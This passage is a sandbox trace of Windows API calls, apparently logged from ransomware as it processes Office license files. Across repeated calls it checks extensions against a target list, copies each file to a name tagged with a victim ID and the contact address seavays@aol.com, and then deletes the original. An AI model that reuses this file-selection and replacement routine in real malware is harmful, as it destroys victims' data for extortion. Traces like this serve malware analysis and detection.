lpString2="m-ms") returned -1 [0194.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms") returned 74 [0194.057] lstrlenW (lpString=".1cd") returned 4 [0194.057] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0194.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms") returned 74 [0194.057] lstrlenW (lpString=".jpg") returned 4 [0194.057] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0194.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0194.058] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=26524) returned 1 [0194.058] CloseHandle (hObject=0x548) returned 1 [0194.058] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ppd.xrm-ms")) returned 0x220 [0194.059] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0194.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0194.059] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.059] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0194.061] GetLastError () returned 0x0 [0194.061] ReadFile (in: hFile=0x548, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x679c, lpOverlapped=0x0) returned 1 [0194.262] WriteFile (in: hFile=0x550, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x67a0, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x67a0, lpOverlapped=0x0) returned 1 [0194.264] ReadFile (in: hFile=0x548, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0194.264] WriteFile (in: hFile=0x550, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x106, lpOverlapped=0x0) returned 1 [0194.264] SetEndOfFile (hFile=0x550) returned 1 [0194.747] CloseHandle (hObject=0x550) returned 1 [0195.334] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.334] SetEndOfFile (hFile=0x548) returned 1 [0195.338] CloseHandle (hObject=0x548) returned 1 [0195.338] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0195.339] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ppd.xrm-ms")) returned 1 [0195.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms") returned 75 [0195.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms") returned 75 [0195.340] lstrlenW (lpString=".doc") returned 4 [0195.340] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0195.340] lstrlenW (lpString=".docx") returned 5 [0195.340] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0195.340] lstrlenW (lpString=".pdf") returned 4 [0195.340] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0195.340] lstrlenW (lpString=".xls") returned 4 [0195.340] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0195.340] lstrlenW (lpString=".xlsx") returned 5 [0195.340] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0195.340] lstrlenW (lpString=".ppt") returned 4 [0195.341] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0195.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms") returned 75 [0195.341] lstrlenW (lpString=".zip") returned 4 [0195.341] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0195.341] lstrlenW (lpString=".rar") returned 4 [0195.341] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0195.341] lstrlenW (lpString=".bz2") returned 4 [0195.341] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0195.341] lstrlenW (lpString=".7z") returned 3 [0195.341] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0195.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms") returned 75 [0195.341] lstrlenW (lpString=".dbf") returned 4 [0195.341] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0195.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms") returned 75 [0195.341] lstrlenW (lpString=".1cd") returned 4 [0195.341] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0195.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ppd.xrm-ms") returned 75 [0195.341] lstrlenW (lpString=".jpg") returned 4 [0195.341] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0195.343] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.343] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.343] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0195.345] GetLastError () returned 0x0 [0195.345] ReadFile (in: hFile=0x548, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x67d9, lpOverlapped=0x0) returned 1 [0195.348] WriteFile (in: hFile=0x45c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x67e0, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x67e0, lpOverlapped=0x0) returned 1 [0195.349] ReadFile (in: hFile=0x548, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0195.349] WriteFile (in: hFile=0x45c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x102, lpOverlapped=0x0) returned 1 [0195.349] SetEndOfFile (hFile=0x45c) returned 1 [0195.350] CloseHandle (hObject=0x45c) returned 1 [0195.350] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.350] SetEndOfFile (hFile=0x548) returned 1 [0195.355] CloseHandle (hObject=0x548) returned 1 [0195.355] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0195.356] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-ppd.xrm-ms")) returned 1 [0195.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms") returned 73 [0195.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms") returned 73 [0195.357] lstrlenW (lpString=".doc") returned 4 [0195.357] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0195.357] lstrlenW (lpString=".docx") returned 5 [0195.357] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0195.358] lstrlenW (lpString=".pdf") returned 4 [0195.358] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0195.358] lstrlenW (lpString=".xls") returned 4 [0195.358] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0195.358] lstrlenW (lpString=".xlsx") returned 5 [0195.358] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0195.358] lstrlenW (lpString=".ppt") returned 4 [0195.358] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0195.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms") returned 73 [0195.358] lstrlenW (lpString=".zip") returned 4 [0195.358] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0195.358] lstrlenW (lpString=".rar") returned 4 [0195.358] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0195.358] lstrlenW (lpString=".bz2") returned 4 [0195.358] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0195.358] lstrlenW (lpString=".7z") returned 3 [0195.358] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0195.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms") returned 73 [0195.358] lstrlenW (lpString=".dbf") returned 4 [0195.358] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0195.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms") returned 73 [0195.358] lstrlenW (lpString=".1cd") returned 4 [0195.358] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0195.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms") returned 73 [0195.358] lstrlenW (lpString=".jpg") returned 4 [0195.358] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0195.365] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.365] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.365] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-ul-oob.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0195.367] GetLastError () returned 0x0 [0195.367] ReadFile (in: hFile=0x548, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x2d42, lpOverlapped=0x0) returned 1 [0195.369] WriteFile (in: hFile=0x45c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x2d50, lpOverlapped=0x0) returned 1 [0195.370] ReadFile (in: hFile=0x548, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0195.370] WriteFile (in: hFile=0x45c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x108, lpOverlapped=0x0) returned 1 [0195.371] SetEndOfFile (hFile=0x45c) returned 1 [0195.371] CloseHandle (hObject=0x45c) returned 1 [0195.371] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.371] SetEndOfFile (hFile=0x548) returned 1 [0195.374] CloseHandle (hObject=0x548) returned 1 [0195.375] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0195.375] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-ul-oob.xrm-ms")) returned 1 [0195.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms") returned 76 [0195.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms") returned 76 [0195.376] lstrlenW (lpString=".doc") returned 4 [0195.376] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0195.376] lstrlenW (lpString=".docx") returned 5 [0195.376] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0195.376] lstrlenW (lpString=".pdf") returned 4 [0195.377] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0195.377] lstrlenW (lpString=".xls") returned 4 [0195.377] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0195.377] lstrlenW (lpString=".xlsx") returned 5 [0195.377] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0195.377] lstrlenW (lpString=".ppt") returned 4 [0195.377] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0195.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms") returned 76 [0195.377] lstrlenW (lpString=".zip") returned 4 [0195.377] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0195.377] lstrlenW (lpString=".rar") returned 4 [0195.377] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0195.377] lstrlenW (lpString=".bz2") returned 4 [0195.377] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0195.377] lstrlenW (lpString=".7z") returned 3 [0195.377] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0195.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms") returned 76 [0195.377] lstrlenW (lpString=".dbf") returned 4 [0195.377] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0195.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms") returned 76 [0195.377] lstrlenW (lpString=".1cd") returned 4 [0195.377] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0195.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms") returned 76 [0195.377] lstrlenW (lpString=".jpg") returned 4 [0195.377] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0195.583] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.583] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.584] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0195.586] GetLastError () returned 0x0 [0195.586] ReadFile (in: hFile=0x554, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x30bf, lpOverlapped=0x0) returned 1 [0195.589] WriteFile (in: hFile=0x45c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x30c0, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x30c0, lpOverlapped=0x0) returned 1 [0195.590] ReadFile (in: hFile=0x554, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0195.590] WriteFile (in: hFile=0x45c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x10e, lpOverlapped=0x0) returned 1 [0195.591] SetEndOfFile (hFile=0x45c) returned 1 [0195.591] CloseHandle (hObject=0x45c) returned 1 [0195.591] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.591] SetEndOfFile (hFile=0x554) returned 1 [0195.595] CloseHandle (hObject=0x554) returned 1 [0195.595] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0195.595] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ppd.xrm-ms")) returned 1 [0195.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms") returned 79 [0195.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms") returned 79 [0195.597] lstrlenW (lpString=".doc") returned 4 [0195.597] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0195.597] lstrlenW (lpString=".docx") returned 5 [0195.597] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0195.597] lstrlenW (lpString=".pdf") returned 4 [0195.597] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0195.597] lstrlenW (lpString=".xls") returned 4 [0195.597] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0195.597] lstrlenW (lpString=".xlsx") returned 5 [0195.597] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0195.597] lstrlenW (lpString=".ppt") returned 4 [0195.597] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0195.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms") returned 79 [0195.597] lstrlenW (lpString=".zip") returned 4 [0195.597] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0195.597] lstrlenW (lpString=".rar") returned 4 [0195.597] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0195.597] lstrlenW (lpString=".bz2") returned 4 [0195.598] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0195.598] lstrlenW (lpString=".7z") returned 3 [0195.598] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0195.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms") returned 79 [0195.598] lstrlenW (lpString=".dbf") returned 4 [0195.598] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0195.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms") returned 79 [0195.598] lstrlenW (lpString=".1cd") returned 4 [0195.598] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0195.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms") returned 79 [0195.598] lstrlenW (lpString=".jpg") returned 4 [0195.598] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0195.599] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.599] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.600] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0195.601] GetLastError () returned 0x0 [0195.601] ReadFile (in: hFile=0x554, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x307e, lpOverlapped=0x0) returned 1 [0195.603] WriteFile (in: hFile=0x45c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x3080, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x3080, lpOverlapped=0x0) returned 1 [0195.605] ReadFile (in: hFile=0x554, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0195.605] WriteFile (in: hFile=0x45c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x100, lpOverlapped=0x0) returned 1 [0195.605] SetEndOfFile (hFile=0x45c) returned 1 [0195.605] CloseHandle (hObject=0x45c) returned 1 [0195.605] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.605] SetEndOfFile (hFile=0x554) returned 1 [0195.610] CloseHandle (hObject=0x554) returned 1 [0195.610] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0195.610] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ppd.xrm-ms")) returned 1 [0195.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms") returned 72 [0195.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms") returned 72 [0195.612] lstrlenW (lpString=".doc") returned 4 [0195.612] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0195.612] lstrlenW (lpString=".docx") returned 5 [0195.612] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0195.612] lstrlenW (lpString=".pdf") returned 4 [0195.612] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0195.612] lstrlenW (lpString=".xls") returned 4 [0195.612] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0195.612] lstrlenW (lpString=".xlsx") returned 5 [0195.612] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0195.612] lstrlenW (lpString=".ppt") returned 4 [0195.612] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0195.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms") returned 72 [0195.612] lstrlenW (lpString=".zip") returned 4 [0195.612] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0195.612] lstrlenW (lpString=".rar") returned 4 [0195.612] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0195.612] lstrlenW (lpString=".bz2") returned 4 [0195.612] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0195.612] lstrlenW (lpString=".7z") returned 3 [0195.612] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0195.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms") returned 72 [0195.612] lstrlenW (lpString=".dbf") returned 4 [0195.612] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0195.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms") returned 72 [0195.613] lstrlenW (lpString=".1cd") returned 4 [0195.613] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 